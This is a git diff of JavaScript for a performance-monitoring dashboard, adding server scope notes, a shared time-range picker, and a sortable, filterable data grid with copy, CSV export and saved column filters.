+  let scopeNote = null;
+  let refreshScopeNote = () => {};
+  let cellUnderScope = (cell) => cell;
   let currentScope = () => ({ server: "All", hours: 24, variables: [], values: {} });
   if (isAlert) {
     const scopeServer = opts.scopeServer || "";
@@ -642,7 +725,13 @@ export async function renderNotebookDoc(main, opts) {
     const variables = Array.isArray(def.variables) ? def.variables.filter((v) => v && v.name) : [];
     const defaultHours = def.range && typeof def.range.hours === "number" ? def.range.hours : 24;
     const hasPanels = cells.some((c) => c && c.type === "panel" && c.source != null);
-    const state = seedState(opts.view.id, defaultHours, variables);
+    const panelServer = panelFilterServer(cells.filter((c) => c && c.type === "panel"), fleet);
+    const state = seedState(opts.view.id, defaultHours, variables, fleet, panelServer);
+    cellUnderScope = (cell) => (cell && cell.type === "panel" ? panelUnderScope(cell, state, panelServer) : cell);
+    if (panelServer && hasPanels) {
+      scopeNote = el("div", { class: "meta view-scope-note", text: panelServerNote(state, panelServer) });
+      refreshScopeNote = () => { scopeNote.textContent = panelServerNote(state, panelServer); };
+    }
     currentScope = () => ({
       server: state.server,
       hours: state.hours,
@@ -663,11 +752,12 @@ export async function renderNotebookDoc(main, opts) {
       const scope = currentScope();
       mount(docBox, cells.map((cell, i) => renderAlertCell(cell, i, readSet, sourceSet, scope, opts, limiter)));
     } else {
-      mount(docBox, cells.map((cell) => renderCell(cell, readSet, sourceSet, currentScope())));
+      refreshScopeNote();
+      mount(docBox, cells.map((cell) => renderCell(cellUnderScope(cell), readSet, sourceSet, currentScope())));
     }
   }
 
-  mount(main, [head, status, controls, docBox]);
+  mount(main, [head, status, controls, scopeNote, docBox]);
   renderDoc();
 }
 
@@ -872,10 +962,9 @@ function backToViews() {
 /* Fleet server options for the scope picker (value = stored server_name, label = display name). */
 function fleetOptions(fleetRes) {
   if (fleetRes.kind !== "data" || !fleetRes.data) return [];
-  return [...(fleetRes.data.cards || [])]
+  return orderServers(fleetRes.data.cards || [])
     .map((c) => ({ value: c.server_name || c.display_name, label: c.display_name }))
-    .filter((o) => o.value)
-    .sort((a, b) => a.label.localeCompare(b.label));
+    .filter((o) => o.value);
 }
 
 /* The view-scope control bar: a server scope picker (single / multi / All), a time-range select, and a value input
@@ -907,88 +996,24 @@ function varControl(v, state, onChange) {
   return inp;
 }
 
-/* Mirror of the compose backend's window ceiling (ComposeLimits.MaxWindow = 90 days) — a custom range can't exceed it. */
+/* Mirror of the compose backend's window ceiling (ComposeLimits.MaxWindowHours = 90 days). The shared time range picker (#5562) greys
+   out a longer length with the reason; the old Custom number input clamped it silently. */
 const MAX_RANGE_HOURS = 24 * 90;
 
-/* A human label for an arbitrary hour count (whole days render as days), matching the preset labels' style. */
-function rangeLabel(hours) {
-  if (hours % 24 === 0 && hours >= 24) {
-    const d = hours / 24;
-    return "Last " + d + (d === 1 ? " day" : " days");
-  }
-  return "Last " + hours + (hours === 1 ? " hour" : " hours");
-}
-
-/* A time-range picker bound to state.hours: the presets, plus the view's stored default and the current value when
-   either is a non-preset custom window (kept selectable so the 60s refresh shows exactly what's applied), plus a
-   "Custom…" entry that reveals a number + unit input. The compose backend accepts any window up to MAX_RANGE_HOURS,
-   so an arbitrary span is purely this UI. */
+/* The view scope's time range: the shared picker in its rolling-only form, because the scope is "this many hours back from now" (the
+   compose runner and the read cells take hours, not an end). It is bound to state.hours; the view's stored default and the current
+   value show as the picker's label, so the 60s refresh shows exactly what is applied. */
 function buildRangeSelect(defaultHours, state, onChange) {
-  const wrap = el("span", { class: "range-select" });
-  const sel = el("select", { class: "filter-box", "aria-label": "Time range" });
-  const added = new Set(VIEW_RANGE_OPTIONS.map((r) => String(r.hours)));
-  for (const r of VIEW_RANGE_OPTIONS) sel.appendChild(el("option", { value: String(r.hours), text: r.label }));
-  for (const h of [state.hours, defaultHours]) {
-    const key = String(h);
-    if (h && !added.has(key)) {
-      sel.appendChild(el("option", { value: key, text: rangeLabel(h) }));
-      added.add(key);
-    }
-  }
-  sel.appendChild(el("option", { value: "custom", text: "Custom…" }));
-  sel.value = String(state.hours);
-
-  const custom = buildCustomHoursInput(state, onChange);
-  custom.style.display = "none";
-
-  sel.addEventListener("change", () => {
-    if (sel.value === "custom") {
-      custom.style.display = "";
-      return;
-    }
-    custom.style.display = "none";
-    state.hours = parseInt(sel.value, 10) || defaultHours;
-    onChange();
-  });
-
-  wrap.appendChild(sel);
-  wrap.appendChild(custom);
-  return wrap;
-}
-
-/* The inline custom-window input revealed by the "Custom…" range option: a number + unit (hours/days); Apply (or
-   Enter) commits it to state.hours, clamped to MAX_RANGE_HOURS, and re-runs the panels. */
-function buildCustomHoursInput(state, onChange) {
-  const box = el("span", { class: "range-custom" });
-  const num = el("input", { class: "filter-box range-custom-n", type: "number", min: "1", step: "1", "aria-label": "Custom range amount" });
-  const unit = el("select", { class: "filter-box range-custom-u", "aria-label": "Custom range unit" });
-  unit.appendChild(el("option", { value: "1", text: "hours" }));
-  unit.appendChild(el("option", { value: "24", text: "days" }));
-  if (state.hours % 24 === 0 && state.hours >= 24) {
-    num.value = String(state.hours / 24);
-    unit.value = "24";
-  } else {
-    num.value = String(state.hours);
-    unit.value = "1";
-  }
-  const apply = el("button", { class: "btn small", type: "button", text: "Apply" });
-  const commit = () => {
-    const n = parseInt(num.value, 10);
-    if (!n || n < 1) return;
-    state.hours = Math.min(n * parseInt(unit.value, 10), MAX_RANGE_HOURS);
-    onChange();
-  };
-  apply.addEventListener("click", commit);
-  num.addEventListener("keydown", (e) => {
-    if (e.key === "Enter") {
-      e.preventDefault();
-      commit();
-    }
+  const picker = rollingHoursPicker({
+    hours: state.hours || defaultHours,
+    reachHours: MAX_RANGE_HOURS,
+    label: "Time range",
+    onChange: (hours) => {
+      state.hours = hours;
+      onChange();
+    },
   });
-  box.appendChild(num);
-  box.appendChild(unit);
-  box.appendChild(apply);
-  return box;
+  return el("span", { class: "range-select" }, [picker.node]);
 }
 
 /* The server scope picker: a <details> dropdown of checkboxes — "All servers (fleet)" plus each fleet server.
@@ -1024,6 +1049,7 @@ function buildServerScopePicker(fleet, state, onChange) {
     const rows = [
       checkRow("All servers (fleet)", isAll(), () => {
         state.server = "All";
+        state.picked = true;
         redraw();
         onChange();
       }),
@@ -1033,6 +1059,7 @@ function buildServerScopePicker(fleet, state, onChange) {
       rows.push(
         checkRow(o.label, on, () => {
           toggle(o.value, !on);
+          state.picked = true;
           redraw();
           onChange();
         })
@@ -1059,7 +1086,7 @@ function checkRow(label, checked, onToggle) {
    `onSettled` (optional; the alert notebook's in-flight limiter release, #4222) is called exactly once per call: by
    the renderer when its load ends, or right here when the panel cannot start a load and becomes an error card —
    so a bad cell cannot hold a limiter slot. Every other caller omits it. */
-function panelOrError(p, readSet, sourceSet, scope, onSettled) {
+function panelOrError(p, readSet, sourceSet, scope, onSettled, slot = null) {
   const fail = (title, message) => {
     if (onSettled) onSettled();
     return panelErrorCard(title, message);
@@ -1077,7 +1104,7 @@ function panelOrError(p, readSet, sourceSet, scope, onSettled) {
     if (!p.viz) {
       return fail(p.title, "This composed panel has no chart type.");
     }
-    return renderComposedPanelCard(p, scope, onSettled);
+    return renderComposedPanelCard(p, scope, onSettled, slot);
   }
   if (!p.read || !readSet.has(p.read)) {
     return fail(p.title, "Unknown read '" + (p.read || "") + "'. It may have been renamed or removed.");
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js
index 0a1c09c946..f8802410ad 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js
@@ -30,17 +30,40 @@ import {
   emptyStrip,
   noticeStrip,
   keptWindowStrip,
+  windowFloorStrip,
   readTool,
   readWithinKeptHistory,
   apiGet,
   buildQuery,
   getPath,
+  parseUtc,
   applyFormat,
   bandClass,
   sevClass,
   windowFromHours,
+  dbScopeChip,
+  dbFilteredEmptyText,
+  sourceStrip,
 } from "./util.js";
-import { renderLineChart, SERIES_COLORS } from "./charts.js";
+import { zoomableLineChart, chartZoomScope, SERIES_COLORS } from "./charts.js";
+import { plainText, plainTextNamed } from "./plain-text.js";
+import { toTsv, toCsv, isListValue, csvFileName, copyText, downloadCsv } from "./grid-tools.js";
+import {
+  VALUE_LIST_MAX_LEN,
+  VALUE_LIST_CAP,
+  FILTER_STORE_KEY,
+  NO_VALUES,
+  valueKey,
+  listableColumn,
+  valuesOn,
+  collectValues,
+  compileValues,
+  valuePasses,
+  nextValues,
+  valuesPhrase,
+  serializeFilters,
+  parseFilters,
+} from "./grid-value-filter.js";
 
 /* The AbortSignal for the render currently building panels (#4191). A page sets it (setPanelSignal)
    synchronously, immediately before calling a tab's build()/a page's descriptor array, and renderPanel below
@@ -57,6 +80,11 @@ export function setPanelSignal(signal) {
   panelSignal = signal;
 }
 
+/** The signal the next renderPanel() would capture, so a caller can swap its own in for one panel and put this back (#5227). */
+export function getPanelSignal() {
+  return panelSignal;
+}
+
 /**
  * Build a panel node. It returns immediately with a loading strip and fills itself once the fetch resolves,
  * mapping the API response kinds (data / empty envelope / error / aborted / auth) to the right UI.
@@ -65,7 +93,12 @@ export function renderPanel(desc, onSettled) {
   const signal = panelSignal;
   const body = el("div", { class: "panel-body" }, [loadingStrip()]);
   const panel = el("div", { class: "panel card" + (desc.span === 2 ? " span-2" : "") }, [
-    el("h3", {}, [desc.title, desc.subtitle ? el("span", { class: "panel-sub", text: " " + desc.subtitle }) : null]),
+    /* The database-scope chip (#5245): while the page's database filter is active it says whether this panel's read took it
+       (dbScopeChip in util.js; `desc.dbScope` overrides the read's own class for a panel fed by a shared read). */
+    el("h3", {}, [desc.title, desc.subtitle ? el("span", { class: "panel-sub", text: " " + desc.subtitle }) : null, dbScopeChip(desc.read, desc.dbScope)]),
+    /* #5226: an optional control node under the title (the Top Queries / Top Procedures ranking selector), drawn before the body so a
+       load that replaces the body never replaces it. Absent on every other panel. */
+    desc.control || null,
     body,
   ]);
   loadPanel(desc, body, signal, onSettled);
@@ -107,8 +140,32 @@ async function loadPanelBody(desc, body, signal) {
     return;
   }
   const kept = keptWindowStrip(res);
+  /* A panel that does not apply to this kind of server and says `hideWhenNotCollected` is not drawn at all (the Instance CPU
+     panel on a PostgreSQL server that is not Aurora): one panel that can never fill is clutter, not information. */
+  if (res.kind === "empty" && res.status === "not_collected" && desc.hideWhenNotCollected && body.parentNode) {
+    if (body.parentNode.style) body.parentNode.style.display = "none";
+    body.parentNode.hidden = true;
+    return;
+  }
+  /* A panel on a PostgreSQL FinOps target that does not apply says one short line (`notCollectedLine`) instead of the server's gate paragraph. */
+  if (res.kind === "empty" && res.status === "not_collected" && desc.notCollectedLine) {
+    mount(body, emptyStrip(desc.notCollectedLine));
+    return;
+  }
+  /* A panel whose collector reads one optional PostgreSQL extension says plainly that the extension is not installed when the
+     server's precondition answer says that (pg_stat_kcache behind OS CPU by Query), a fixable state. It is not the
+     "does not apply to this kind of server" line, which is for a server that can never have the data. */
+  if (res.kind === "empty" && res.status === "precondition" && desc.extensionMissingLine
+      && typeof res.message === "string" && res.message.includes("extension it reads is not installed")) {
+    mount(body, emptyStrip(desc.extensionMissingLine));
+    return;
+  }
   if (res.kind === "empty") {
-    mount(body, [kept, emptyStrip(res.message)]);
+    /* #4966: a grid that looked and found nothing still says where its table's data starts when that is after the
+       window's start (the server adds the note to that envelope only, never to an unavailable or not_collected one), so a
+       new server's empty week does not read as a quiet one. windowFloorStrip is null for a chart and for an envelope
+       without the note. */
+    mount(body, [kept, windowFloorStrip(res.data, desc), emptyStrip(res.message)]);
     return;
   }
 
@@ -133,6 +190,8 @@ async function loadPanelBody(desc, body, signal) {
     const note = desc.noteKey ? getPath(res.data, desc.noteKey) : null;
     /* #4925: a panel may carry further server notes (`moreNoteKeys`), each rendered as its own line when non-null. */
     const moreNotes = (desc.moreNoteKeys || []).map((k) => getPath(res.data, k));
+    /* #4966: a grid says where its table's data starts when that is after the window's start (windowFloorStrip). */
+    const floor = windowFloorStrip(res.data, desc);
     /* A narrowed read draws its chart over the hours it answered for, not the Range it was asked for (#2802).
        A copy, so the caller's descriptor keeps the window it asked for. */
     if (res.keptHours) desc = { ...desc, windowHours: res.keptHours };
@@ -140,6 +199,9 @@ async function loadPanelBody(desc, body, signal) {
 
     mount(body, [
       kept,
+      floor,
+      /* #5244: which collector answered a blocking read, for a descriptor that names its field (`sourceKey`); null for every other panel. */
+      sourceStrip(res.data, desc),
       typeof note === "string" && note.trim() ? noticeStrip(note) : null,
       ...moreNotes.map((n) => (typeof n === "string" && n.trim() ? noticeStrip(n) : null)),
       rendered,
@@ -171,27 +233,959 @@ export const VIZ = {
  */
 const NO_FIELDS_MSG = "No fields configured — edit this view and run Auto-detect fields.";
 
-/* table: desc = { rowsKey, columns:[{key,label,format,align,wrap,mono,sevKey,statusSev}] } */
+/* table: desc = { rowsKey, columns:[{key,label,format,align,wrap,mono,pre,sevKey,statusSev,sortable,sortValue,csv,copy,copyValue}], sortable, sortId, onRow(row, tr), rowClass(row)|string, tools:false }
+
+   Column-header sort (#4843). A header click cycles ascending -> descending -> the server's own order, with a ▲/▼
+   indicator and aria-sort; Enter and Space on the focused header do the same. The comparison reads the RAW row value
+   (never the formatted cell): numbers numerically, `time`/`reltime` columns by the stored instant, text without case,
+   null/undefined/"" last in BOTH directions, and ties keep the server's order. `sortable: false` on the descriptor
+   opts a table out (an order that carries meaning, e.g. a chronological trend the desktop grid also leaves unsorted);
+   on a column it opts that column out. A column's `sortValue(row)` supplies the sort value when the cell is a custom
+   render over a derived value. */
 function vizTable(data, desc) {
+  if (!(Array.isArray(desc.columns) && desc.columns.length)) return emptyStrip(NO_FIELDS_MSG);
+  /* rowsKey "." is a read whose payload is one object, drawn as one row. */
+  const read = desc.rowsKey === "." ? (data ? [data] : []) : getPath(data, desc.rowsKey) || [];
+  /* A grid whose natural order is not the one to open on (a calendar oldest first, collectors A to Z) names `orderRows`,
+     a function from the rows to the rows in the order to show. A header click still sorts from there. */
+  const rows = typeof desc.orderRows === "function" && Array.isArray(read) ? desc.orderRows(read) : read;
+  /* #5244: a filtered read that has a snapshot but no row for the chosen databases must not say there is no snapshot. */
+  return gridTable(rows, rows.length ? desc : { ...desc, emptyText: dbFilteredEmptyText(desc.read, desc.emptyText, desc.dbScope) });
+}
+
+/** The grid every table on the web draws through (#4843): sort, column groups, per-column filters, Copy cell / row /
+    all and Export CSV, with their state at module scope under gridSortKey(). vizTable feeds it a read's rows; a page
+    that builds its own rows (a composed panel, the alert-rule test, the sweep tables) calls it with the rows and a
+    descriptor of the same shape, so every table gets the same tools from one implementation. Beyond the vizTable
+    column fields, a column may carry `display(row)` (the text to show, over a raw value or none) and
+    `cellClass(row)` (a class for the cell, such as a severity colour). `desc.id` (or `sortId`) names the table and
+    MUST carry whatever else tells two tables with the same columns apart (the server, the panel): the key is what
+    keeps their sort, filter and picked cell separate. */
+export function gridTable(rows, desc) {
   const allCols = Array.isArray(desc.columns) ? desc.columns : [];
   if (!allCols.length) return emptyStrip(NO_FIELDS_MSG);
-  /* rowsKey "." is a read whose payload is one object, drawn as one row. */
-  const rows = desc.rowsKey === "." ? (data ? [data] : []) : getPath(data, desc.rowsKey) || [];
   if (!rows.length) return emptyStrip(desc.emptyText || "No rows in this window.");
   const cols = visibleColumns(allCols, rows);
 
+  const grid = desc.sortable === false ? null : makeGridSort(desc, cols, rows);
+  const bodyRows = rows.map((row) => {
+    const rc = typeof desc.rowClass === "function" ? desc.rowClass(row) : desc.rowClass;
+    const tr = el("tr", { class: typeof rc === "string" && rc ? rc : null }, cols.map((c) => cell(row, c)));
+    trRow.set(tr, row);
+    if (typeof desc.onRow === "function") desc.onRow(row, tr);
+    return tr;
+  });
+  /* The rows are classified when the body attaches, so the headers are built after the grid has seen them. */
+  const tbody = el("tbody", {}, bodyRows);
+  if (grid) grid.attach(tbody, bodyRows);
   const head = el(
     "tr",
     {},
-    cols.map((c) => el("th", { text: c.label, class: isNumericCol(c) ? "num" : null }))
+    cols.map((c, i) => (grid && grid.eligible[i] ? grid.headerCell(c, i) : headerCell(c)))
   );
-  const bodyRows = rows.map((row) => el("tr", {}, cols.map((c) => cell(row, c))));
+  if (grid) grid.syncHeads();
+
+  const filterBar = desc.filter === false ? null : gridFilter(desc, cols, head, tbody);
+  const table = el("table", { class: "data" }, [el("thead", {}, [head]), tbody]);
+  const wrap = el("div", { class: "table-wrap" }, filterBar ? [filterBar, table] : [table]);
+  const picker = columnPicker(desc, cols, head, tbody);
+  if (desc.tools === false) return picker ? el("div", { class: "grid-box" }, [picker, wrap]) : wrap;
+  return el("div", { class: "grid-box" }, picker ? [picker, gridTools(desc, cols, tbody), wrap] : [gridTools(desc, cols, tbody), wrap]);
+}
+
+/* Column groups (#4843). A descriptor with `groups: ["Memory detail", ...]` and `defaultGroups: [...]` marks wide
+   grids: a column carrying `group: "<name>"` is drawn only while its group is on, and a column with no group (or a
+   group the list does not name) is always shown. A "Columns:" strip above the table carries one toggle per group.
+   Every column is still built, and a hidden one is only display:none, so the sort, Copy and CSV indexes stay
+   aligned and Copy / CSV carry ALL columns, the way the desktop grid's export iterates every column whether or not
+   it is shown. A column the user sorted by stays the sort key after its group is hidden. The toggles live at module
+   scope under the table's key (route + identity + columns), so the 60 s repaint keeps them and another server's
+   grid starts from the defaults. Returns null for a descriptor without groups. */
+function columnPicker(desc, cols, head, tbody) {
+  const groups = Array.isArray(desc.groups) ? desc.groups.filter((g) => cols.some((c) => c.group === g)) : [];
+  if (!groups.length) return null;
+  const key = gridSortKey(desc, cols);
+  const on = () => gridGroupsOn.get(key) || new Set(Array.isArray(desc.defaultGroups) ? desc.defaultGroups : []);
+  const shown = (c) => !c.group || !groups.includes(c.group) || on().has(c.group);
+  const show = (node, yes) => {
+    if (node && node.style) node.style.display = yes ? "" : "none";
+  };
+  const buttons = new Map();
+  const apply = () => {
+    const rowsAll = [head, ...tbody.children];
+    cols.forEach((c, i) => {
+      const yes = shown(c);
+      for (const tr of rowsAll) show(tr.children[i], yes);
+    });
+    for (const [g, b] of buttons) {
+      const live = on().has(g);
+      b.setAttribute("aria-pressed", live ? "true" : "false");
+      b.className = "btn col-toggle" + (live ? " on" : "");
+    }
+  };
+  const toggles = groups.map((g) => {
+    const b = el("button", { type: "button", class: "btn col-toggle", text: g, title: "Show or hide the " + g + " columns" });
+    b.addEventListener("click", () => {
+      const next = new Set(on());
+      if (next.has(g)) next.delete(g);
+      else next.add(g);
+      gridGroupsOn.set(key, next);
+      apply();
+    });
+    buttons.set(g, b);
+    return b;
+  });
+  apply();
+  return el("div", { class: "col-picker" }, [el("span", { class: "col-picker-label", text: "Columns:" }), ...toggles]);
+}
 
-  return el("div", { class: "table-wrap" }, [
-    el("table", { class: "data" }, [el("thead", {}, [head]), el("tbody", {}, bodyRows)]),
+/* Copy and CSV for one table (#4843). Both read the tbody as it stands, so they follow the active sort and any
+   in-place reconcile. Copy puts what the user sees on the clipboard: the cells' text, tab-separated, with a header
+   row on Copy All. The CSV carries RAW values (the stored ISO instant, the unformatted number) under the column
+   labels, quoted per RFC 4180 and with a leading ' on a text cell a spreadsheet would run as a formula. A column
+   whose values are arrays or objects has no one-cell form, so the CSV leaves it out, and so does `csv: false` on a column (a link-only cell), and `copy: false` leaves a column out of Copy row and Copy all; a column's `copyValue(row)` supplies the full text for Copy and the CSV when its cell shows a summary (Copy keeps it: it copies the
+   cell's text). A custom-render column over a key the rows do not carry has no raw value, so its CSV cell is the
+   text it shows. Set `tools: false` on the descriptor to draw a table without the strip. */
+function gridTools(desc, cols, tbody) {
+  const status = el("span", { class: "grid-tools-status", role: "status", "aria-live": "polite" });
+  const key = gridSortKey(desc, cols);
+  const say = (m) => {
+    status.textContent = m;
+  };
+  const allTrs = () => [...tbody.children];
+  /* Copy all and the CSV carry the rows the column filters leave showing, in the order shown. */
+  const trs = () => allTrs().filter((tr) => !filteredOut.has(tr));
+  /* The text a cell copies: the column's copyValue(row) when it has one (a custom-render cell whose visible text is a
+     summary), else the text shown. */
+  const textOf = (tr, i) => {
+    const c = cols[i];
+    const row = trRow.get(tr);
+    return c && typeof c.copyValue === "function" && row ? String(c.copyValue(row) ?? "") : tr.children[i].textContent;
+  };
+  const textRows = (list) => list.map((tr) => [...tr.children].map((_, i) => textOf(tr, i)));
+  /* Copy row and Copy table leave out a `copy: false` column (a control column such as a checkbox); the picked-cell
+     signature and Copy cell still see every column. */
+  const copyIdx = (n) => Array.from({ length: n }, (_, i) => i).filter((i) => !(cols[i] && cols[i].copy === false));
+  const copyRows = (list) => textRows(list).map((r) => copyIdx(r.length).map((i) => r[i]));
+  /* The picked cell is remembered as the row's text plus the column, at module scope under the table's key, so the
+     60 s repaint (a new tbody, new cells) and an in-place reconcile both resolve it against what is on screen now;
+     a row that is gone resolves to nothing. */
+  const rowSig = (tr) => textRows([tr])[0].join("\u0001");
+  const pickedCell = () => {
+    const pick = gridPicked.get(key);
+    const tr = pick ? allTrs().find((t) => rowSig(t) === pick.sig) : null;
+    return tr && tr.children[pick.col] ? { tr, td: tr.children[pick.col], col: pick.col } : null;
+  };
+  const initial = pickedCell();
+  if (initial && initial.td.classList) initial.td.classList.add("cell-picked");
+  tbody.addEventListener("click", (e) => {
+    const td = e && e.target && typeof e.target.closest === "function" ? e.target.closest("td") : null;
+    const tr = td && td.parentNode;
+    if (!tr) return;
+    const prev = pickedCell();
+    if (prev && prev.td.classList) prev.td.classList.remove("cell-picked");
+    gridPicked.set(key, { sig: rowSig(tr), col: [...tr.children].indexOf(td) });
+    if (td.classList) td.classList.add("cell-picked");
+  });
+  const finish = async (text, what) => {
+    const r = await copyText(text);
+    say(r.ok ? "Copied " + what + "." : r.message);
+  };
+  const copyCell = () => {
+    const p = pickedCell();
+    if (!p) return say("Click a cell first, then choose Copy cell.");
+    return finish(textOf(p.tr, p.col), "the cell");
+  };
+  const copyRow = () => {
+    const p = pickedCell();
+    if (!p) return say("Click a cell first, then choose Copy row.");
+    return finish(toTsv(copyRows([p.tr])), "the row");
+  };
+  const copyAll = () => finish(toTsv([cols.filter((c) => c.copy !== false).map((c) => c.label), ...copyRows(trs())]), "the table");
+  const exportCsv = () => {
+    const list = trs();
+    const objs = list.map((tr) => trRow.get(tr));
+    const keep = cols
+      .map((c, i) => {
+        if (c.csv === false) return null;
+        const hasCopy = typeof c.copyValue === "function";
+        const raw = objs.map((r) => (r ? (hasCopy ? c.copyValue(r) : getPath(r, c.key)) : undefined));
+        if (raw.some(isListValue)) return null;
+        const textOnly = (typeof c.render === "function" || typeof c.display === "function") && raw.every((v) => v === undefined);
+        return { i, c, raw, textOnly };
+      })
+      .filter(Boolean);
+    const lines = [keep.map((k) => k.c.label), ...list.map((tr, ri) => keep.map((k) => (k.textOnly ? tr.children[k.i].textContent : k.raw[ri])))];
+    try {
+      downloadCsv(csvFileName(desc.title ?? desc.sortId ?? desc.id ?? desc.rowsKey), toCsv(lines));
+      say("Exported " + list.length + " row" + (list.length === 1 ? "" : "s") + ".");
+    } catch (e) {
+      say("Export failed: " + (e && e.message ? e.message : "the browser refused the download."));
+    }
+  };
+  const btn = (label, title, fn) => el("button", { type: "button", class: "btn grid-tool", title, onClick: fn, text: label });
+  return el("div", { class: "grid-tools" }, [
+    btn("Copy cell", "Copy the last cell you clicked", copyCell),
+    btn("Copy row", "Copy the row of the last cell you clicked", copyRow),
+    btn("Copy all", "Copy the table with its header row, tab-separated", copyAll),
+    btn("Export CSV", "Download the rows in their current order as a CSV file", exportCsv),
+    status,
   ]);
 }
 
+/* Column filters (#4843). Every column that has text to match carries a small header button (`filter: false` on a
+   column or the descriptor opts out; a `copy: false` control column has none) that opens a text box above the
+   table. Typing alone is a case-insensitive substring match of the cell's rendered text, so it matches what the
+   user sees, a list-valued cell included. A small "Match" list beside the box offers the desktop's other operators
+   for the column's kind (the kind the sort decides, sortKindOf): a number column adds Equals, Not equals, >, >=, <
+   and <=, which compare the SAME raw value the sort orders by (sortKeyOf over columnValue), never the formatted text,
+   so "> 900" does not match "1,000" the way a string comparison would; a text column adds Equals, Not equals, Starts
+   with and Ends with (a comma separates alternatives); a time column offers only the two empty tests. Is empty and Is
+   not empty work on every column: a cell is empty when its raw value is null, undefined, "", blank, NaN or an empty
+   list (a column drawn by display() or render() with no value of its own is empty when it shows nothing or the
+   dash); 0 and false are values, and a literal "-" is a value. Several filters combine with AND. A row that fails is display:none and is recorded
+   in `filteredOut`, which Copy all and Export CSV read so they carry exactly the shown rows (all columns, hidden
+   and grouped-away ones too, in the current sort order). A strip under the header lists each active filter with a
+   button to clear it, a Clear all button and "Showing N of M rows". The filter texts and which box is open live at
+   module scope under gridSortKey(), so the 60 s repaint keeps them and another server's grid starts unfiltered.
+   Escape closes the box and returns focus to its header button; focus leaving the box closes it.
+
+   A text column also offers a list of its values to tick, like Excel's (#5565): "Select All", a search box, a
+   "(Blanks)" entry and a checkbox per distinct value of the rows the grid holds now, compared ignoring case. The
+   filter then is { op, text, values: { mode, set, blank } }, the value part as grid-value-filter.js defines it, and a
+   row has to pass both parts. The list is not offered on a number or time column, on a column marked
+   `valueList: false` (query and statement text, XML, definitions) or on one whose longest value is over
+   VALUE_LIST_MAX_LEN characters; those keep the text match. A column is also left without a list when its key is
+   named like a statement or prose (the shared name rule in grid-value-filter.js: text, sql, query, plan, xml, message,
+   detail, description, error, script, info and the rest, which the desktop pins to the same list). The list holds the
+   cell's raw value, not the text it draws, and the search folds case as .NET OrdinalIgnoreCase does. Every value
+   reaches the page as a text node. The active filters are also kept in localStorage (FILTER_STORE_KEY), per route
+   (which carries the server) + grid + columns, so a reload or a restart of the browser keeps them; the write waits
+   300 ms of quiet and is flushed on pagehide. A text match on a column that gets no list is kept for the session only
+   (never written, never read back); a value part kept on such a column shows read-only in the box with a Clear button.
+   A missing, unreadable or refused store starts empty and never stops a grid from drawing. */
+const gridFilters = new Map(); // table key -> Map(column id -> { op, text, values? }), least recently used first; the kept copy holds the newest 200 grids
+let gridFiltersLoaded = false;
+let gridFilterStoreWarned = false;
+const gridValueSearch = new Map(); // table key -> the value list's search text while its box is open
+const gridValueTyping = new Set(); // table keys whose value search box had the focus when the page was last drawn
+const gridFilterOpen = new Map(); // table key -> column id of the open box
+const gridFilterTyping = new Set(); // table keys whose box had the focus when the page was last drawn
+const filteredOut = new WeakSet();
+const tbodyFilter = new WeakMap();
+
+const FILTER_OP_LABELS = {
+  contains: "Contains",
+  equals: "Equals",
+  notEquals: "Not equals",
+  gt: ">",
+  gte: ">=",
+  lt: "<",
+  lte: "<=",
+  startsWith: "Starts with",
+  endsWith: "Ends with",
+  isEmpty: "Is empty",
+  isNotEmpty: "Is not empty",
+};
+const FILTER_OPS_BY_KIND = {
+  number: ["contains", "equals", "notEquals", "gt", "gte", "lt", "lte", "isEmpty", "isNotEmpty"],
+  time: ["contains", "isEmpty", "isNotEmpty"],
+  text: ["contains", "equals", "notEquals", "startsWith", "endsWith", "isEmpty", "isNotEmpty"],
+};
+const filterNeedsNoText = (op) => op === "isEmpty" || op === "isNotEmpty";
+/* Whether the text part of a filter narrows anything, and whether the filter as a whole does. */
+const filterTextOn = (f) => !!f && (filterNeedsNoText(f.op) || !!String(f.text ?? "").trim());
+const filterIsOn = (f) => filterTextOn(f) || (!!f && valuesOn(f.values));
+
+/* The kept copy of the active filters (#5565). Every touch of the store is guarded: a browser that refuses
+   localStorage, or holds something unreadable, leaves the filters in the page only, and says so once. */
+function warnFilterStore(e) {
+  if (gridFilterStoreWarned) return;
+  gridFilterStoreWarned = true;
+  if (typeof console !== "undefined" && console && typeof console.warn === "function") {
+    console.warn("Column filters are not kept across a reload: " + (e && e.message ? e.message : String(e)));
+  }
+}
+
+function loadGridFilters() {
+  if (gridFiltersLoaded) return;
+  gridFiltersLoaded = true;
+  try {
+    if (typeof localStorage === "undefined") return;
+    const text = localStorage.getItem(FILTER_STORE_KEY);
+    if (!text) return;
+    for (const [k, cols] of parseFilters(text, Object.keys(FILTER_OP_LABELS))) {
+      if (!gridFilters.has(k)) gridFilters.set(k, cols);
+    }
+  } catch (e) {
+    warnFilterStore(e);
+  }
+}
+
+function writeGridFilters() {
+  try {
+    if (typeof localStorage === "undefined") return;
+    if (gridFilters.size) localStorage.setItem(FILTER_STORE_KEY, serializeFilters(gridFilters));
+    else localStorage.removeItem(FILTER_STORE_KEY);
+  } catch (e) {
+    warnFilterStore(e);
+  }
+}
+
+/* The kept copy is written at most once per FILTER_SAVE_DELAY_MS of quiet, so typing in the text match or ticking
+   through a long list does not serialize and write the whole store on every keystroke and click. The page's copy
+   is the live one; the write is flushed when the page is hidden or closed (pagehide), so nothing a reader did is lost. */
+const FILTER_SAVE_DELAY_MS = 300;
+let gridFilterSaveTimer = null;
+
+function saveGridFilters() {
+  if (gridFilterSaveTimer !== null) clearTimeout(gridFilterSaveTimer);
+  gridFilterSaveTimer = setTimeout(() => {
+    gridFilterSaveTimer = null;
+    writeGridFilters();
+  }, FILTER_SAVE_DELAY_MS);
+}
+
+/** Write a pending change now. Runs on pagehide; the tests call it for "the reader closed the page". */
+export function flushGridFilters() {
+  if (gridFilterSaveTimer === null) return;
+  clearTimeout(gridFilterSaveTimer);
+  gridFilterSaveTimer = null;
+  writeGridFilters();
+}
+
+if (typeof window !== "undefined" && window && typeof window.addEventListener === "function") {
+  window.addEventListener("pagehide", flushGridFilters);
+}
+
+/* A typed number: thousands separators, a percent sign, a dollar sign and spaces are dropped, as the desktop does. */
+function parseFilterNumber(t) {
+  const clean = String(t ?? "").trim().replace(/[,%$\s]/g, "");
+  if (clean === "") return null;
+  const n = Number(clean);
+  return Number.isNaN(n) ? null : n;
+}
